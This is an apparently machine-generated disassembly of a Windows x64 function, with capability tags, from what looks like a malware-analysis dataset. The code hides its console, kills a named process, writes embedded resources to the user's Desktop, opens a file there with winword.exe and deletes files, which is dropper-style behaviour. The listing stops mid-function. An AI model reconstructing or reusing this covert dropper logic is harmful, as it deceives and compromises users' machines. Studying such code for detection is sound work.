Function at 0x140001310
Capabilities:
Create process on windows
Delete file
Enumerate processes
Execute command
Get session user name
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rbp + 0x140], 0x80
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x150]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xor edx, edx
lea ecx, [rdx + 0xf]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x10], 0x130
lea rdx, [rbp + 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea r14d, [r12 + 9]
test eax, eax
je 0x140001401
nop word [rax + rax]
lea rdx, [0x140004430]
lea rcx, [rbp + 0x3c]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x1400013f0
mov r8d, dword [rbp + 0x18]
xor edx, edx
lea ecx, [rax + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400013f0
mov edx, r14d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x10]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400013b0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
lea rax, [rbp + 0x150]
mov rsi, 0xffffffffffffffff
mov rbx, rsi
nop dword [rax]
inc rbx
cmp byte [rax + rbx], r12b
jne 0x140001430
movabs r15, 0x7fffffffffffffff
cmp rbx, r15
ja 0x140002603
movabs rax, 0x8000000000000000
mov ecx, 0x16
mov qword [rbp - 0x78], 0xf
cmp rbx, 0xf
ja 0x14000148b
mov qword [rbp - 0x80], rbx
mov r8, rbx
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x70], r12b
jmp 0x14000151b
mov rdi, rbx
or rdi, 0xf
cmp rdi, r15
jbe 0x1400014bd
mov rdi, r15
add rax, 0x27
mov rcx, rax
call fcn.1400029c0
test rax, rax
je 0x1400017a4
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x1400014f2
cmp rdi, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x1400014e0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400025e5
jmp 0x14000149e
test rcx, rcx
je 0x1400014ef
call fcn.1400029c0
mov r14, rax
jmp 0x1400014f2
mov r14, r12
mov qword [rsp + 0x70], r14
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rdi
mov r8, rbx
lea rdx, [rbp + 0x150]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], r12b
mov r14d, 9
mov r8, qword [rbp - 0x80]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
sub rax, r8
lea rdx, [0x140004481]
lea r13, [0x140004478]
cmp rax, 9
jb 0x1400015b1
lea rax, [r8 + 9]
mov qword [rbp - 0x80], rax
lea rbx, [rsp + 0x70]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x70]
cmp rdx, rbx
jbe 0x140001574
lea rax, [rbx + r8]
cmp r13, rax
ja 0x140001574
cmp rbx, r13
ja 0x14000156c
mov rdi, r12
jmp 0x140001577
mov rdi, rbx
sub rdi, r13
jmp 0x140001577
mov rdi, r14
lea rcx, [rbx + 9]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r13
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8, r14
sub r8, rdi
lea rdx, [r13 + 9]
add rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x70]
jmp 0x1400015c8
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
mov rdx, r14
lea rcx, [rsp + 0x70]
call fcn.140002810
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0x28
jb 0x14000164a
lea rax, [rcx + 0x28]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 0x28
lea rdx, [0x140004448]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x28], 0
lea rax, [rsp + 0x30]
jmp 0x140001669
mov qword [rsp + 0x20], 0x28
lea r9, [0x140004448]
mov edx, 0x28
lea rcx, [rsp + 0x30]
call fcn.140002680
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rbx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rbx, qword [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rax
lea r9, [0x140004440]
mov r8d, 0x67
mov rcx, rbx
call fcn.1400011c0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000170b
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001706
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001706
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400029fc
movdqa xmm0, xmmword [0x140004530]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000175e
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001759
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001759
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400029fc
movdqa xmm0, xmmword [0x140004530]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1400017b0
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400029fc
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], r12
lea rax, [rbp + 0x150]
mov rbx, rsi
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400017d4
cmp rbx, r15
ja 0x140002609
mov qword [rbp - 0x58], 0xf
cmp rbx, 0xf
ja 0x140001815
mov qword [rbp - 0x60], rbx
mov r8, rbx
lea rdx, [rbp + 0x150]
lea rcx, [rbp - 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x70], 0
jmp 0x1400018af
mov rdi, rbx
or rdi, 0xf
cmp rdi, r15
jbe 0x140001851
mov rdi, r15
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400029c0
test rax, rax
je 0x140001b1e
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14000188c
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14000187a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400025eb
jmp 0x140001832
test rcx, rcx
je 0x140001889
call fcn.1400029c0
mov r14, rax
jmp 0x14000188c
mov r14, r12
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], rdi
mov r8, rbx
lea rdx, [rbp + 0x150]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
mov r8, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
sub rax, r8
mov r12d, 0x1c
lea r14, str.start_winword.exe__C:Users_
cmp rax, r12
jb 0x140001946
lea rax, [r8 + 0x1c]
mov qword [rbp - 0x60], rax
lea rbx, [rbp - 0x70]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x70]
lea rax, [0x1400044d4]
cmp rax, rbx
jbe 0x14000190a
lea rax, [rbx + r8]
cmp r14, rax
ja 0x14000190a
cmp rbx, r14
ja 0x140001902
xor edi, edi
jmp 0x14000190d
mov rdi, rbx
sub rdi, r14
jmp 0x14000190d
mov rdi, r12
lea rcx, [rbx + 0x1c]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
sub r12, rdi
lea rdx, [r14 + 0x1c]
add rdx, rdi
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x70]
jmp 0x14000195c
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r14
mov rdx, r12
lea rcx, [rbp - 0x70]
call fcn.140002810
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
xor r14d, r14d
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0x29
jb 0x1400019df
lea rax, [rcx + 0x29]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
lea r8d, [r14 + 0x29]
lea rdx, str.Desktop_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x29], r14b
lea rax, [rsp + 0x30]
jmp 0x1400019fe
mov qword [rsp + 0x20], 0x29
lea r9, str.Desktop_
mov edx, 0x29
lea rcx, [rsp + 0x30]
call fcn.140002680
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140001a86
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a81
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400029fc
movdqa xmm0, xmmword [0x140004530]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001ad9
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ad4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ad4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400029fc
movdqa xmm0, xmmword [0x140004530]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140001b2a
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b25
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400029fc
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r14
lea rax, [rbp + 0x150]
mov rbx, rsi
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001b50
cmp rbx, r15
ja 0x14000260f
mov qword [rbp - 0x38], 0xf
cmp rbx, 0xf
ja 0x140001b91
mov qword [rbp - 0x40], rbx
mov r8, rbx
lea rdx, [rbp + 0x150]
lea rcx, [rbp - 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x50], 0
jmp 0x140001c29
mov rdi, rbx
or rdi, 0xf
cmp rdi, r15
jbe 0x140001bcd
mov rdi, r15
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400029c0
test rax, rax
je 0x140001ea1
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140001c03
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140001bf6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400025f1
jmp 0x140001bae
test rcx, rcx
je 0x140001c03
call fcn.1400029c0
mov r14, rax
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rdi
mov r8, rbx
lea rdx, [rbp + 0x150]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
xor r14d, r14d
mov r8, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
sub rax, r8
cmp rax, 9
jb 0x140001cc5
lea rax, [r8 + 9]
mov qword [rbp - 0x40], rax
lea rbx, [rbp - 0x50]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x50]
lea rax, [0x140004481]
cmp rax, rbx
jbe 0x140001c83
lea rax, [rbx + r8]
cmp r13, rax
ja 0x140001c83
mov r12d, 9
cmp rbx, r13
ja 0x140001c7b
mov rdi, r14
jmp 0x140001c8c
mov rdi, rbx
sub rdi, r13
jmp 0x140001c8c
mov r12d, 9
mov edi, r12d
lea rcx, [rbx + 9]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r13
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8, r12
sub r8, rdi
lea rdx, [rdi + 9]
add rdx, r13
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x50]
jmp 0x140001ce1
mov r12d, 9
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r13
mov edx, r12d
lea rcx, [rbp - 0x50]
call fcn.140002810
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdi, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, rdi
cmp rax, 0x18
jb 0x140001d62
lea rax, [rdi + 0x18]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rcx, 0xf
cmova rbx, qword [rsp + 0x30]
lea rcx, [rbx + rdi]
mov r8d, 0x18
lea rdx, [0x1400044d8]
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi + 0x18], 0
lea rax, [rsp + 0x30]
jmp 0x140001d81
mov qword [rsp + 0x20], 0x18
lea r9, [0x1400044d8]
mov edx, 0x18
lea rcx, [rsp + 0x30]
call fcn.140002680
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140001e09
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e04
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400029fc
movdqa xmm0, xmmword [0x140004530]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001e5c
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e57
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001e57
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400029fc
movdqa xmm0, xmmword [0x140004530]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140001ead
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ea8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ea8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400029fc
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], r14
lea rax, [rbp + 0x150]
mov rbx, rsi
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001ed1
cmp rbx, r15
ja 0x140002615
mov qword [rbp - 0x18], 0xf
cmp rbx, 0xf
ja 0x140001f12
mov qword [rbp - 0x20], rbx
mov r8, rbx
lea rdx, [rbp + 0x150]
lea rcx, [rbp - 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x30], 0
jmp 0x140001faa
mov rdi, rbx
or rdi, 0xf
cmp rdi, r15
jbe 0x140001f4e
mov rdi, r15
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400029c0
test rax, rax
je 0x140002227
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140001f84
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140001f77
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400025f7
jmp 0x140001f2f
test rcx, rcx
je 0x140001f84
call fcn.1400029c0
mov r14, rax
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rdi
mov r8, rbx
lea rdx, [rbp + 0x150]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
xor r14d, r14d
mov r8, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 9
jb 0x140002036
lea rax, [r8 + 9]
mov qword [rbp - 0x20], rax
lea rbx, [rbp - 0x30]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x30]
lea rax, [0x140004481]
cmp rax, rbx
jbe 0x140001ffa
lea rax, [rbx + r8]
cmp r13, rax
ja 0x140001ffa
cmp rbx, r13
ja 0x140001ff2
mov rdi, r14
jmp 0x140001ffd
mov rdi, rbx
sub rdi, r13
jmp 0x140001ffd
mov rdi, r12
lea rcx, [rbx + 9]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, r13
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
sub r12, rdi
lea rdx, [rdi + 9]
add rdx, r13
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x30]
jmp 0x14000204c
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r13
mov rdx, r12
lea rcx, [rbp - 0x30]
call fcn.140002810
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x48]
mov rax, r9
sub rax, rcx
cmp rax, 0x18
jb 0x1400020ce
lea rax, [rcx + 0x18]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp r9, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 0x18
lea rdx, [0x1400044d8]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x18], 0
lea rax, [rsp + 0x30]
jmp 0x1400020ed
mov qword [rsp + 0x20], 0x18
lea r9, [0x1400044d8]
mov edx, 0x18
lea rcx, [rsp + 0x30]
call fcn.140002680
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rbx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rbx, qword [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rax
lea r9, [0x1400044f4]
mov r8d, 0x66
mov rcx, rbx
call fcn.1400011c0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000218f
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000218a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000218a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400029fc
movdqa xmm0, xmmword [0x140004530]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400021e2
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400021dd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400029fc
movdqa xmm0, xmmword [0x140004530]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140002233
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000222e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000222e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400029fc
mov ecx, 0x640
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], r14
mov qword [rbp + 8], r14
lea rax, [rbp + 0x150]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140002254
cmp rsi, r15
ja 0x1400025df
mov qword [rbp + 8], 0xf
cmp rsi, 0xf
ja 0x140002295
mov qword [rbp], rsi
mov r8, rsi
lea rdx, [rbp + 0x150]
lea rcx, [rbp - 0x10]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rsi - 0x10], 0
jmp 0x14000232e
mov rax, rsi
or rax, 0xf
cmp rax, r15
jbe 0x1400022ce
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400029c0
test rax, rax
je 0x1400025a1
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14000230c
mov r15, rax
cmp rax, 0x16
mov eax, 0x16
cmovb r15, rax
lea rcx, [r15 + 1]
cmp rcx, 0x1000
jb 0x1400022fa
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400025fd
jmp 0x1400022af
test rcx, rcx
je 0x140002309
call fcn.1400029c0
mov rbx, rax
jmp 0x14000230c
mov rbx, r14
mov qword [rbp - 0x10], rbx
mov qword [rbp], rsi
mov qword [rbp + 8], r15
mov r8, rsi
lea rdx, [rbp + 0x150]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rsi], 0
mov r8, qword [rbp]
mov rcx, qword [rbp + 8]
mov rax, rcx
sub rax, r8
mov r14d, 0xa
lea rsi, str._C:Users_
cmp rax, r14
jb 0x1400023c5
lea rax, [r8 + 0xa]
mov qword [rbp], rax
lea rbx, [rbp - 0x10]
cmp rcx, 0xf
cmova rbx, qword [rbp - 0x10]
lea rax, [0x140004522]
cmp rax, rbx
jbe 0x140002389
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x140002389
cmp rbx, rsi
ja 0x140002381
xor edi, edi
jmp 0x14000238c
mov rdi, rbx
sub rdi, rsi
jmp 0x14000238c
mov rdi, r14
lea rcx, [rbx + 0xa]
inc r8
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
sub r14, rdi
lea rdx, [rsi + 0xa]
add rdx, rdi
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x10]
jmp 0x1400023db
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov rdx, r14
lea rcx, [rbp - 0x10]
call fcn.140002810
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
